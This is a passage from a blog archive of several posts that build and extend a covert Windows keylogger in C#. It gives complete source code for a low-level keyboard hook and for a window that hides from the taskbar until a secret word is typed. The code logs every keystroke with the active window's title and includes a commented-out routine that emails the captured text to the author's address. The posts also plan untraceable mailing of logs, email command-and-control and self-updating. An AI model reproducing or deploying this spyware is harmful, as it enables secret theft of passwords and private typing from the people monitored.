Axino.net » C#

Extending the C# KeyLogger

praetorian — Wed, 02 Jun 2010 18:42:27 +0000

I decided to extend arxleols keylogger a little. I hope to add a few more features in the future but for now I’m happy with the current version.

The most significant changes are that I’ve ported it to C#4.0, moved all the important functionality into a separate assembly, made the whole thing more event driven and gave the logging a new flavour. Some of the ideas I’ve had is to host the lib in a Windows Service, let it “phone home” occassionally (via email, not network) and possibly self update.

I’ve successfully run this on a Windows Vista Home Basic x86 machine (Dell Inspiron 1525). So far looks like it works like a charm. I urge you to use this software for research or security purposes only.

Below are the changes I’ve made and a few of the features that I might add later on.

Change log:

Ported to C# 4.0. Doesn’t leverage any 4.0 specific features but does use 3.5 specific property accessors (so it won’t compile in C# 2.0).
Created a new assembly to hold all the important functionality and called it khsvclib (for Key Hook Service Library). This assembly should be referenced by apps wanting keylogging.
Removed hardcoding of file paths & put it in an app.config. This allows you to change the name of the actual logging file dynamically. It’s currently called Logs.krs by default but it could be called anything.
Created a new FileType enum to make referencing files in config easier.
Created a new Utilities helper class which (currently) returns either a file path or FileStream type based on the FileType passed to it.
Created a Reader type and supporting EventArgs/Delegate types which handles the reading of the keys from the Hook. The Reader has a few events which can be subscribed to. So far the only one that’s actually useful is the KeyPressed event.
Created a WindowTitleHelper and supporting EventArgs/Delegate types which check the title of the active window on each key press and will fire an ActiveWindowTitleChanged event if the window title has changed. This has the advantage that you can now group key strokes according to the window in which they were pressed (it ain’t any good logging something without knowing which page/app/window it was for).
Created a very basic “Logger” type which flushes out to a configured “FileType” path (from config).
Created a KeyLoggerManager which is basically a facade for the whole thing. It has 2 methods with no parameters – Start() and Stop().

Code:

Here’s some of the more interesting code in the assembly. For the complete code download the khsvclib project.

WindowTitleHelper

The WindowTitleHelper also uses PInvoke to import the user32.dll assembly. It has one public method – CheckActiveWindowTitle(). This compares what the window title was from the previous time the method was called to what the current active window title is. If the string differs, the ActiveWindowTitleChanged event is fired.

/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
 
namespace khsvclib
{
    ///
    /// Helper class which checks the title of the current window
    /// and fires an event when it changes.
    ///
    public class WindowTitleHelper
    {
        #region imports
 
        [DllImport("user32.dll")]
        static extern IntPtr GetForegroundWindow();
 
        [DllImport("user32.dll")]
        static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
 
        #endregion 
 
        #region private fields
 
        private string currentWindowTitle;
 
        #endregion
 
        #region ctor
 
        public WindowTitleHelper()
        {
            currentWindowTitle = GetActiveWindowTitle();
        }
 
        #endregion
 
        #region methods 
 
        public void CheckActiveWindowTitle()
        {
            if (currentWindowTitle != GetActiveWindowTitle())
            {
                currentWindowTitle = GetActiveWindowTitle();
                OnActiveWindowTitleChanged(new WindowTitleHelperEventArgs(GetActiveWindowTitle()));
            }
        }
 
        private string GetActiveWindowTitle()
        {
            const int nChars = 256;
            IntPtr handle = IntPtr.Zero;
            StringBuilder Buff = new StringBuilder(nChars);
            handle = GetForegroundWindow();
 
            if (GetWindowText(handle, Buff, nChars) &gt; 0)
            {
                return Buff.ToString();
            }
            return null;
        } 
 
        #endregion
 
        #region events
 
        public event WindowTitleHelperEvent ActiveWindowTitleChanged;
 
        #endregion
 
        #region event handlers
 
        protected virtual void OnActiveWindowTitleChanged(WindowTitleHelperEventArgs e)
        {
            if (ActiveWindowTitleChanged != null)
            {
                ActiveWindowTitleChanged(this, e);
            }
        }
 
        #endregion
    }   
 
}

KeyLoggerManager
The KeyLoggerManager provides a simple facade to interacting with the Hook. It provides two public methods which take no parameters – Start() and Stop(). It also provides access to the Reader, WindowTitleHelper and Logger types as properties. The Hook isn’t provided here as:
a) it’s already a static class.
b) the facade that the KeyLoggerManager provides is to abstract the hook implementation away.

Using the KeyLogger manager in code is really simple:

KeyLoggerManager manager = new KeyLoggerManager(); manager.Start();

That’s it. That’s all you’d need. Everything else is pretty much configurable.

/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
 
namespace khsvclib
{
    ///
    /// Facade class for KeyLogger.
    ///
    public class KeyLoggerManager
    {
        #region properties 
 
        public Reader Reader { get; private set; }
        public WindowTitleHelper WindowTitleHelper { get; private set; }
        public Logger Logger { get; private set; }
 
        #endregion
 
        #region ctor
 
        public KeyLoggerManager()
        {
            Reader = new Reader();
            Reader.KeyPressed += new ReaderEvent(Reader_KeyPressed);
 
            WindowTitleHelper = new WindowTitleHelper();
            WindowTitleHelper.ActiveWindowTitleChanged += new WindowTitleHelperEvent(WindowTitleHelper_ActiveWindowTitleChanged);
        }
 
        #endregion
 
        #region event handlers
 
        void Reader_KeyPressed(object sender, ReaderEventArgs e)
        {
            WindowTitleHelper.CheckActiveWindowTitle();
            Logger.Log(FileType.Logs, e.Log);
        }
 
        void WindowTitleHelper_ActiveWindowTitleChanged(object sender, WindowTitleHelperEventArgs e)
        {
            StringBuilder builder = new StringBuilder();
 
            builder.AppendFormat("{0}{0}", Environment.NewLine);
            builder.AppendFormat("-------------------------------------------{0}", Environment.NewLine);
            builder.AppendFormat("New window title: {0}{1}", e.ActiveWindowTitle, Environment.NewLine);
            builder.AppendFormat("-------------------------------------------{0}", Environment.NewLine);
            Logger.Log(FileType.Logs, builder.ToString());
        }
 
        #endregion
 
        #region methods
 
        public void Start()
        {
            Hook.CreateHook(Reader.Read);
            Logger.Log(FileType.Logs,
                string.Format("{1}{0}: Hook created.{1}", DateTime.Now, Environment.NewLine)
                );
        }
 
        public void Stop()
        {
            Logger.Log(FileType.Logs,
                string.Format("{1}{0}: Hook destroyed.{1}", DateTime.Now, Environment.NewLine)
                );
            Reader.KeyPressed -= Reader_KeyPressed;
            Hook.DestroyHook();
        }
 
        #endregion
 
    }
}

Future releases

These are a few of the changes that I’d like to make in future. If I actually get around to writing these I’ll post them here.

Improve Logger type to use a Factory/Strategy pattern. The idea being that you can have “raw” logs (which log everything) and “clean” logs which only log the keys as the text was displayed e.g. it would log “factory pattern” (clean log) instead of “facttorypattrern” (raw log).
Add a new type/facade to allow the logged files to be mailed to an untraceable address at a given time (or set of times) everyday.
Add a new type and expression syntax to allow the app to receive commands from email.
Add configurable triggers which will switch the logger on/off depending on the ActiveWindowTitle.

I hope you find these changes useful. Download assembly zip here.Similar Posts:

Keylogger in C# :: Complete project

Arxleol — Fri, 04 Dec 2009 07:22:58 +0000

Some of you weren’t able to compile final source code. Errors were usually because you haven’t either created files or haven’t placed initial values in them. One might consider this as bug in the program because I should created code to check whether files exist or not but then in the end you could add it.

Secret word that will enable you to see keylogger is test.

And keyword that shows alert is tst, You may change any of these words.

DOWNLOAD KEYLOGGERSimilar Posts:

Finished keylogger in C#

Arxleol — Sun, 01 Nov 2009 03:34:59 +0000

OK we have finally reached till the end of road on how to write keylogger in c#. Here are all classes you require and all previous tutorials merged together. Some things were not explained because I think that it is common knowledge or will be explained in some future tutorials.Hook for hooking to keyboard and listening for keys. Hook.cs

using System;
using System.Diagnostics;
//using System.Windows.Forms;
using System.Runtime.InteropServices;
 
namespace TestKeybdHook
{
    public static class Hook
    {
        //This class is based lightly off of the class found at the following website
 
        //http://blogs.msdn.com/toub/archive/2006/05/03/589423.aspx
 
        private static class API
        {
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr SetWindowsHookEx(
                int idHook,
                HookDel lpfn,
                IntPtr hMod,
                uint dwThreadId);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool UnhookWindowsHookEx(
                IntPtr hhk);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr CallNextHookEx(
                IntPtr hhk,
                int nCode,
                IntPtr
                wParam,
                IntPtr lParam);
 
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            public static extern IntPtr GetModuleHandle(
                string lpModuleName);
 
        }
 
        public enum VK
        {
            //Keycodes recieved from this website:
 
            //http://delphi.about.com/od/objectpascalide/l/blvkc.htm
 
            //I've commented out the keys that I've never heard of--feel free to uncomment them if you wish
 
            VK_LBUTTON = 0X01, //Left mouse
            VK_RBUTTON = 0X02, //Right mouse
            //VK_CANCEL       = 0X03,
            VK_MBUTTON = 0X04,
            VK_BACK = 0X08, //Backspace
            VK_TAB = 0X09,
            //VK_CLEAR        = 0X0C,
            VK_RETURN = 0X0D, //Enter
            VK_SHIFT = 0X10,
            VK_CONTROL = 0X11, //CTRL
            //VK_MENU         = 0X12,
            VK_PAUSE = 0X13,
            VK_CAPITAL = 0X14, //Caps-Lock
            VK_ESCAPE = 0X1B,
            VK_SPACE = 0X20,
            VK_PRIOR = 0X21, //Page-Up
            VK_NEXT = 0X22, //Page-Down
            VK_END = 0X23,
            VK_HOME = 0X24,
            VK_LEFT = 0X25,
            VK_UP = 0X26,
            VK_RIGHT = 0X27,
            VK_DOWN = 0X28,
            //VK_SELECT       = 0X29,
            //VK_PRINT        = 0X2A,
            //VK_EXECUTE      = 0X2B,
            VK_SNAPSHOT = 0X2C, //Print Screen
            VK_INSERT = 0X2D,
            VK_DELETE = 0X2E,
            //VK_HELP         = 0X2F,
 
            VK_0 = 0X30,
            VK_1 = 0X31,
            VK_2 = 0X32,
            VK_3 = 0X33,
            VK_4 = 0X34,
            VK_5 = 0X35,
            VK_6 = 0X36,
            VK_7 = 0X37,
            VK_8 = 0X38,
            VK_9 = 0X39,
 
            VK_A = 0X41,
            VK_B = 0X42,
            VK_C = 0X43,
            VK_D = 0X44,
            VK_E = 0X45,
            VK_F = 0X46,
            VK_G = 0X47,
            VK_H = 0X48,
            VK_I = 0X49,
            VK_J = 0X4A,
            VK_K = 0X4B,
            VK_L = 0X4C,
            VK_M = 0X4D,
            VK_N = 0X4E,
            VK_O = 0X4F,
            VK_P = 0X50,
            VK_Q = 0X51,
            VK_R = 0X52,
            VK_S = 0X53,
            VK_T = 0X54,
            VK_U = 0X55,
            VK_V = 0X56,
            VK_W = 0X57,
            VK_X = 0X58,
            VK_Y = 0X59,
            VK_Z = 0X5A,
 
            VK_NUMPAD0 = 0X60,
            VK_NUMPAD1 = 0X61,
            VK_NUMPAD2 = 0X62,
            VK_NUMPAD3 = 0X63,
            VK_NUMPAD4 = 0X64,
            VK_NUMPAD5 = 0X65,
            VK_NUMPAD6 = 0X66,
            VK_NUMPAD7 = 0X67,
            VK_NUMPAD8 = 0X68,
            VK_NUMPAD9 = 0X69,
 
            VK_SEPERATOR = 0X6C, // | (shift + backslash)
            VK_SUBTRACT = 0X6D, // -
            VK_DECIMAL = 0X6E, // .
            VK_DIVIDE = 0X6F, // /
 
            VK_F1 = 0X70,
            VK_F2 = 0X71,
            VK_F3 = 0X72,
            VK_F4 = 0X73,
            VK_F5 = 0X74,
            VK_F6 = 0X75,
            VK_F7 = 0X76,
            VK_F8 = 0X77,
            VK_F9 = 0X78,
            VK_F10 = 0X79,
            VK_F11 = 0X7A,
            VK_F12 = 0X7B, //I only went up to F12, because honestly, who the hell has 24 F buttons?
            //and for the 8 people in the world who do, I think they can live without using them
 
            VK_NUMLOCK = 0X90,
            VK_SCROLL = 0X91, //Scroll-Lock
            VK_LSHIFT = 0XA0,
            VK_RSHIFT = 0XA1,
            VK_LCONTROL = 0XA2,
            VK_RCONTROL = 0XA3,
            //VK_LMENU        = 0XA4,
            //VK_RMENU        = 0XA5,
            //VK_PLAY         = 0XFA,
            //VK_ZOOM         = 0XFB
        } //keycodes
 
        public delegate IntPtr HookDel(
            int nCode,
            IntPtr wParam,
            IntPtr lParam);
 
        public delegate void KeyHandler(
            IntPtr wParam,
            IntPtr lParam);
 
        private static IntPtr hhk = IntPtr.Zero;
        private static HookDel hd;
        private static KeyHandler kh;
 
        public static void CreateHook(KeyHandler _kh)
        {
            Process _this = Process.GetCurrentProcess();
            ProcessModule mod = _this.MainModule;
            hd = HookFunc;
            kh = _kh;
 
            hhk = API.SetWindowsHookEx(13, hd, API.GetModuleHandle(mod.ModuleName), 0);
            //13 is the parameter specifying that we're gonna do a low-level keyboard hook
 
            //MessageBox.Show(Marshal.GetLastWin32Error().ToString()); //for debugging
            //Note that this could be a Console.WriteLine(), as well. I just happened
            //to be debugging this in a Windows Application
            //to get the errors, in VS 2005+ (possibly before) do Tools -> Error Lookup
        }
 
        public static bool DestroyHook()
        {
            //to be called when we're done with the hook
 
            return API.UnhookWindowsHookEx(hhk);
        }
 
        private static IntPtr HookFunc(
            int nCode,
            IntPtr wParam,
            IntPtr lParam)
        {
            int iwParam = wParam.ToInt32();
            if (nCode &gt;= 0 &amp;&amp;
                (iwParam == 0x100 ||
                iwParam == 0x104)) //0x100 = WM_KEYDOWN, 0x104 = WM_SYSKEYDOWN
                kh(wParam, lParam);
 
            return API.CallNextHookEx(hhk, nCode, wParam, lParam);
        }
    }
}

Next file is designer for form I used for keylogger. Form1.Designer.cs

namespace KeyHookSucks
{
    partial class Form1
    {
        /// 
        /// Required designer variable.
        /// 
        private System.ComponentModel.IContainer components = null;
 
        /// 
        /// Clean up any resources being used.
        /// 
        ///
true if managed resources should be disposed; otherwise, false.
        protected override void Dispose(bool disposing)
        {
            if (disposing &amp;&amp; (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }
 
        #region Windows Form Designer generated code
 
        /// 
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// 
        private void InitializeComponent()
        {
            this.button1 = new System.Windows.Forms.Button();
            this.button2 = new System.Windows.Forms.Button();
            this.button3 = new System.Windows.Forms.Button();
            this.textBox1 = new System.Windows.Forms.TextBox();
            this.label1 = new System.Windows.Forms.Label();
            this.button4 = new System.Windows.Forms.Button();
            this.label2 = new System.Windows.Forms.Label();
            this.textBox2 = new System.Windows.Forms.TextBox();
            this.button5 = new System.Windows.Forms.Button();
            this.textBox3 = new System.Windows.Forms.TextBox();
            this.button6 = new System.Windows.Forms.Button();
            this.SuspendLayout();
            //
            // button1
            //
            this.button1.Location = new System.Drawing.Point(12, 12);
            this.button1.Name = "button1";
            this.button1.Size = new System.Drawing.Size(75, 23);
            this.button1.TabIndex = 0;
            this.button1.Text = "Start";
            this.button1.UseVisualStyleBackColor = true;
            this.button1.Click += new System.EventHandler(this.button1_Click);
            //
            // button2
            //
            this.button2.Enabled = false;
            this.button2.Location = new System.Drawing.Point(12, 41);
            this.button2.Name = "button2";
            this.button2.Size = new System.Drawing.Size(75, 23);
            this.button2.TabIndex = 1;
            this.button2.Text = "Stop";
            this.button2.UseVisualStyleBackColor = true;
            this.button2.Click += new System.EventHandler(this.button2_Click);
            //
            // button3
            //
            this.button3.Enabled = false;
            this.button3.Location = new System.Drawing.Point(218, 12);
            this.button3.Name = "button3";
            this.button3.Size = new System.Drawing.Size(75, 23);
            this.button3.TabIndex = 2;
            this.button3.Text = "writeToFile";
            this.button3.UseVisualStyleBackColor = true;
            this.button3.Click += new System.EventHandler(this.button3_Click);
            //
            // textBox1
            //
            this.textBox1.Location = new System.Drawing.Point(12, 98);
            this.textBox1.Name = "textBox1";
            this.textBox1.Size = new System.Drawing.Size(100, 20);
            this.textBox1.TabIndex = 3;
            //
            // label1
            //
            this.label1.AutoSize = true;
            this.label1.Location = new System.Drawing.Point(12, 82);
            this.label1.Name = "label1";
            this.label1.Size = new System.Drawing.Size(64, 13);
            this.label1.TabIndex = 4;
            this.label1.Text = "Unhide text:";
            //
            // button4
            //
            this.button4.Location = new System.Drawing.Point(218, 41);
            this.button4.Name = "button4";
            this.button4.Size = new System.Drawing.Size(75, 23);
            this.button4.TabIndex = 5;
            this.button4.Text = "Show";
            this.button4.UseVisualStyleBackColor = true;
            this.button4.Click += new System.EventHandler(this.button4_Click);
            //
            // label2
            //
            this.label2.AutoSize = true;
            this.label2.Location = new System.Drawing.Point(12, 165);
            this.label2.Name = "label2";
            this.label2.Size = new System.Drawing.Size(64, 13);
            this.label2.TabIndex = 6;
            this.label2.Text = "Catch word:";
            //
            // textBox2
            //
            this.textBox2.Location = new System.Drawing.Point(15, 181);
            this.textBox2.Name = "textBox2";
            this.textBox2.Size = new System.Drawing.Size(97, 20);
            this.textBox2.TabIndex = 7;
            //
            // button5
            //
            this.button5.Location = new System.Drawing.Point(15, 124);
            this.button5.Name = "button5";
            this.button5.Size = new System.Drawing.Size(86, 26);
            this.button5.TabIndex = 8;
            this.button5.Text = "Save";
            this.button5.UseVisualStyleBackColor = true;
            this.button5.Click += new System.EventHandler(this.button5_Click);
            //
            // textBox3
            //
            this.textBox3.Enabled = false;
            this.textBox3.Location = new System.Drawing.Point(129, 98);
            this.textBox3.Multiline = true;
            this.textBox3.Name = "textBox3";
            this.textBox3.ScrollBars = System.Windows.Forms.ScrollBars.Both;
            this.textBox3.Size = new System.Drawing.Size(164, 139);
            this.textBox3.TabIndex = 9;
            //
            // button6
            //
            this.button6.Location = new System.Drawing.Point(15, 207);
            this.button6.Name = "button6";
            this.button6.Size = new System.Drawing.Size(75, 23);
            this.button6.TabIndex = 10;
            this.button6.Text = "Add";
            this.button6.UseVisualStyleBackColor = true;
            this.button6.Click += new System.EventHandler(this.button6_Click);
            //
            // Form1
            //
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            this.ClientSize = new System.Drawing.Size(316, 252);
            this.Controls.Add(this.button6);
            this.Controls.Add(this.textBox3);
            this.Controls.Add(this.button5);
            this.Controls.Add(this.textBox2);
            this.Controls.Add(this.label2);
            this.Controls.Add(this.button4);
            this.Controls.Add(this.label1);
            this.Controls.Add(this.textBox1);
            this.Controls.Add(this.button3);
            this.Controls.Add(this.button2);
            this.Controls.Add(this.button1);
            this.MaximizeBox = false;
            this.MinimizeBox = false;
            this.Name = "Form1";
            this.ShowIcon = false;
            this.ShowInTaskbar = false;
            this.Text = "Key Logger";
            this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
            this.Load += new System.EventHandler(this.Form1_Load);
            this.ResumeLayout(false);
            this.PerformLayout();
 
        }
 
        #endregion
 
        private System.Windows.Forms.Button button1;
        private System.Windows.Forms.Button button2;
        private System.Windows.Forms.Button button3;
        private System.Windows.Forms.TextBox textBox1;
        private System.Windows.Forms.Label label1;
        private System.Windows.Forms.Button button4;
        private System.Windows.Forms.Label label2;
        private System.Windows.Forms.TextBox textBox2;
        private System.Windows.Forms.Button button5;
        private System.Windows.Forms.TextBox textBox3;
        private System.Windows.Forms.Button button6;
    }
}

The actual code running with form. Form1.cs

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using TestKeybdHook;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections;
 
namespace KeyHookSucks
{
    public partial class Form1 : Form
    {
 
        String writeUp;
        String secretWord;
        ArrayList keyWords;
 
        public Form1()
        {
            InitializeComponent();
            ReadSecretWord();
 
            if (secretWord.CompareTo("") == 0)
            {
 
                this.ShowInTaskbar = true;
 
            }
            else
            {
 
                this.ShowInTaskbar = false;
                this.Refresh();
                Hook.CreateHook(KeyReaderr);
 
                this.button1.Enabled = false;
                this.button2.Enabled = true;
 
            }
 
            writeUp = "";
 
            initKeyWords();
 
        }
 
        private void initKeyWords() {
 
            TextReader tr = new StreamReader("keywords.krs");
 
            String temp;
 
            keyWords = new ArrayList();
 
            do
            {
 
                // read a line of text
                temp = tr.ReadLine();
                if (temp != null) keyWords.Add(temp);
 
            } while (temp != null);
 
            // close the stream
            tr.Close();
 
        }
 
        private void ReadSecretWord()
        {
 
            if (File.Exists("secret.krs"))
            {
 
                TextReader tr = new StreamReader("secret.krs");
 
                // read a line of text
                secretWord = tr.ReadLine();
 
                // close the stream
                tr.Close();
 
            }
            else
            {
 
                this.ShowInTaskbar = true;
                File.Create("secret.krs");
 
            }
 
        }
 
        private void WriteSecretWord()
        {
 
            // create a writer and open the file
            TextWriter tw = new StreamWriter("secret.krs");
 
            // write a line of text to the file
            tw.Write(textBox1.Text);
 
            // close the stream
            tw.Close();
 
        }
 
        private void button1_Click(object sender, EventArgs e)
        {
 
            Hook.CreateHook(KeyReaderr);
 
            button2.Enabled = true;
            button1.Enabled = false;
        }
 
        public void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);
 
            Hook.VK vk = (Hook.VK)key;
 
            String temp = "";
 
            switch (vk)
            {
                case Hook.VK.VK_F1: temp = "<-F1->";
                    break;
 
                case Hook.VK.VK_F2: temp = "<-F2->";
                    break;
                case Hook.VK.VK_F3: temp = "<-F3->";
                    break;
                case Hook.VK.VK_F4: temp = "<-F4->";
                    break;
                case Hook.VK.VK_F5: temp = "<-F5->";
                    break;
                case Hook.VK.VK_F6: temp = "<-F6->";
                    break;
                case Hook.VK.VK_F7: temp = "<-F7->";
                    break;
                case Hook.VK.VK_F8: temp = "<-F8->";
                    break;
                case Hook.VK.VK_F9: temp = "<-F9->";
                    break;
                case Hook.VK.VK_F10: temp = "<-F10->";
                    break;
                case Hook.VK.VK_F11: temp = "<-F11->";
                    break;
                case Hook.VK.VK_F12: temp = "<-F12->";
                    break;
                case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                    break;
                case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                    break;
                case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                    break;
                case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                    break;
                case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                    break;
                case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                    break;
                case Hook.VK.VK_SEPERATOR: temp = "|";
                    break;
                case Hook.VK.VK_SUBTRACT: temp = "-";
                    break;
                case Hook.VK.VK_DECIMAL: temp = ".";
                    break;
                case Hook.VK.VK_DIVIDE: temp = "/";
                    break;
                case Hook.VK.VK_NUMPAD0: temp = "0";
                    break;
                case Hook.VK.VK_NUMPAD1: temp = "1";
                    break;
                case Hook.VK.VK_NUMPAD2: temp = "2";
                    break;
                case Hook.VK.VK_NUMPAD3: temp = "3";
                    break;
                case Hook.VK.VK_NUMPAD4: temp = "4";
                    break;
                case Hook.VK.VK_NUMPAD5: temp = "5";
                    break;
                case Hook.VK.VK_NUMPAD6: temp = "6";
                    break;
                case Hook.VK.VK_NUMPAD7: temp = "7";
                    break;
                case Hook.VK.VK_NUMPAD8: temp = "8";
                    break;
                case Hook.VK.VK_NUMPAD9: temp = "9";
                    break;
                case Hook.VK.VK_Q: temp = "q";
                    break;
                case Hook.VK.VK_W: temp = "w";
                    break;
                case Hook.VK.VK_E: temp = "e";
                    break;
                case Hook.VK.VK_R: temp = "r";
                    break;
                case Hook.VK.VK_T: temp = "t";
                    break;
                case Hook.VK.VK_Y: temp = "y";
                    break;
                case Hook.VK.VK_U: temp = "u";
                    break;
                case Hook.VK.VK_I: temp = "i";
                    break;
                case Hook.VK.VK_O: temp = "o";
                    break;
                case Hook.VK.VK_P: temp = "p";
                    break;
                case Hook.VK.VK_A: temp = "a";
                    break;
                case Hook.VK.VK_S: temp = "s";
                    break;
                case Hook.VK.VK_D: temp = "d";
                    break;
                case Hook.VK.VK_F: temp = "f";
                    break;
                case Hook.VK.VK_G: temp = "g";
                    break;
                case Hook.VK.VK_H: temp = "h";
                    break;
                case Hook.VK.VK_J: temp = "j";
                    break;
                case Hook.VK.VK_K: temp = "k";
                    break;
                case Hook.VK.VK_L: temp = "l";
                    break;
                case Hook.VK.VK_Z: temp = "z";
                    break;
                case Hook.VK.VK_X: temp = "x";
                    break;
                case Hook.VK.VK_C: temp = "c";
                    break;
                case Hook.VK.VK_V: temp = "v";
                    break;
                case Hook.VK.VK_B: temp = "b";
                    break;
                case Hook.VK.VK_N: temp = "n";
                    break;
                case Hook.VK.VK_M: temp = "m";
                    break;
                case Hook.VK.VK_0: temp = "0";
                    break;
                case Hook.VK.VK_1: temp = "1";
                    break;
                case Hook.VK.VK_2: temp = "2";
                    break;
                case Hook.VK.VK_3: temp = "3";
                    break;
                case Hook.VK.VK_4: temp = "4";
                    break;
                case Hook.VK.VK_5: temp = "5";
                    break;
                case Hook.VK.VK_6: temp = "6";
                    break;
                case Hook.VK.VK_7: temp = "7";
                    break;
                case Hook.VK.VK_8: temp = "8";
                    break;
                case Hook.VK.VK_9: temp = "9";
                    break;
                case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                    break;
                case Hook.VK.VK_INSERT: temp = "<-insert->";
                    break;
                case Hook.VK.VK_DELETE: temp = "<-delete->";
                    break;
                case Hook.VK.VK_BACK: temp = "<-backspace->";
                    break;
                case Hook.VK.VK_TAB: temp = "<-tab->";
                    break;
                case Hook.VK.VK_RETURN: temp = "<-enter->";
                    break;
                case Hook.VK.VK_PAUSE: temp = "<-pause->";
                    break;
                case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                    break;
                case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                    break;
                case Hook.VK.VK_SPACE: temp = "<-space->";
                    break;
                case Hook.VK.VK_PRIOR: temp = "<-page up->";
                    break;
                case Hook.VK.VK_NEXT: temp = "<-page down->";
                    break;
                case Hook.VK.VK_END: temp = "<-end->";
                    break;
                case Hook.VK.VK_HOME: temp = "<-home->";
                    break;
                case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                    break;
                case Hook.VK.VK_UP: temp = "<-arrow up->";
                    break;
                case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                    break;
                case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                    break;
                default: break;
            }
 
            writeUp = writeUp + temp;
 
            unhide();
            checkKeys();
            writeToFile(temp);
 
        }
 
        public void checkKeys()
        {
 
            int max = keyWords.Count;
 
            for (int i = 0; i &lt; max; i++)
            {
 
                if (writeUp.Contains((String)keyWords[i]))
                {
 
                    MessageBox.Show("KeyWord!");
                    MessageBox.Show((String)keyWords[i]);
                    //sendMailK();
                    writeUp = "";
 
                }
 
            }
 
        }
 
        /*public void sendMailK()
        {
 
            MailMessage message = new MailMessage("keylogger", "arxleol@gmail.com", "keyword fired", writeUp);
            SmtpClient emailClient = new SmtpClient("either local host or google smtp or soemthing third");
            System.Net.NetworkCredential SMTPUserInfo = new System.Net.NetworkCredential("your username", "your password");
            emailClient.UseDefaultCredentials = false;
            emailClient.Credentials = SMTPUserInfo;
            emailClient.Send(message);
 
        }*/
 
        public void unhide()
        {
 
            if (writeUp.Contains(secretWord))
            {
 
                this.ShowInTaskbar = true;
                this.TransparencyKey = Color.Yellow;
 
                this.Refresh();
 
                writeUp = "";
 
            }
 
        }
 
        public void writeToFile(String writing)
        {
 
            TextReader tr = new StreamReader("logs.krs");
 
            // read a line of text
            String secr = tr.ReadToEnd();
 
            // close the stream
            tr.Close();
 
            // create a writer and open the file
            TextWriter tw = new StreamWriter("logs.krs");
 
            // write a line of text to the file
            tw.WriteLine(secr+writing);
 
            // close the stream
            tw.Close();
 
        }
 
        public String readFromFile(String fil) {
 
            TextReader tr = new StreamReader("secret.krs");
 
            // read a line of text
            String secr = tr.ReadLine();
 
            // close the stream
            tr.Close();
 
            return secr;
 
        }
 
        private void button2_Click(object sender, EventArgs e)
        {
            Hook.DestroyHook();
            button2.Enabled = false;
            button1.Enabled = true;
        }
 
        private void button3_Click(object sender, EventArgs e)
        {
 
            writeToFile(writeUp);
 
        }
 
        private void button5_Click(object sender, EventArgs e)
        {
            WriteSecretWord();
        }
 
        private void button4_Click(object sender, EventArgs e)
        {
 
            present();
 
        }
 
        public void present()
        {
 
            TextReader tr = new StreamReader("logs.krs");
 
            // read a line of text
            String secr = tr.ReadToEnd();
 
            // close the stream
            tr.Close();
 
            textBox3.Text = secr;
 
            textBox3.Enabled = true;
 
        }
 
        private void button6_Click(object sender, EventArgs e)
        {
 
            keyWords.Add(textBox2.Text);
 
            int max = keyWords.Count;
 
            TextWriter tw = new StreamWriter("keywords.krs");
 
            for(int i = 0; i &lt; max; i++){
 
                tw.WriteLine(keyWords[i]);
 
            }
 
            // close the stream
            tw.Close();
 
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
 
        }
 
    }
}

And for running all this you should use Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
 
namespace KeyHookSucks
{
    static class Program
    {
        /// 
        /// The main entry point for the application.
        /// 
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new Form1());
        }
    }
}

Similar Posts:

Keylogger in C# :: sending emails

Arxleol — Sun, 01 Nov 2009 03:34:37 +0000

If you remember in previous tutorial about keylogger in C# you may have noticed that we invoke function for sending emails. Here is that function just remember that you need to change data for connecting to the smtp server.

 /*public void sendMailK()
        {
 
            MailMessage message = new MailMessage("keylogger", "arxleol@gmail.com", "keyword fired", writeUp);
            SmtpClient emailClient = new SmtpClient("either local host or google smtp or soemthing third");
            System.Net.NetworkCredential SMTPUserInfo = new System.Net.NetworkCredential("your username", "your password");
            emailClient.UseDefaultCredentials = false;
            emailClient.Credentials = SMTPUserInfo;
            emailClient.Send(message);
 
        }*/

Similar Posts:

Keylogger in C# :: catching secret word

Arxleol — Sat, 31 Oct 2009 07:43:32 +0000

Now this one is more or less simple. And most of the things are already explained. However I would like to point out that you can use alerts fired in the following functions to send emails or something similar.

You may notice that function for sending emails is commented out this is because I hadn’t used this function out of faculty as for example google’s smtp requires authentication.

        public void checkKeys()
        {
 
            int max = keyWords.Count;
 
            for (int i = 0; i &lt; max; i++)
            {
 
                if (writeUp.Contains((String)keyWords[i]))
                {
 
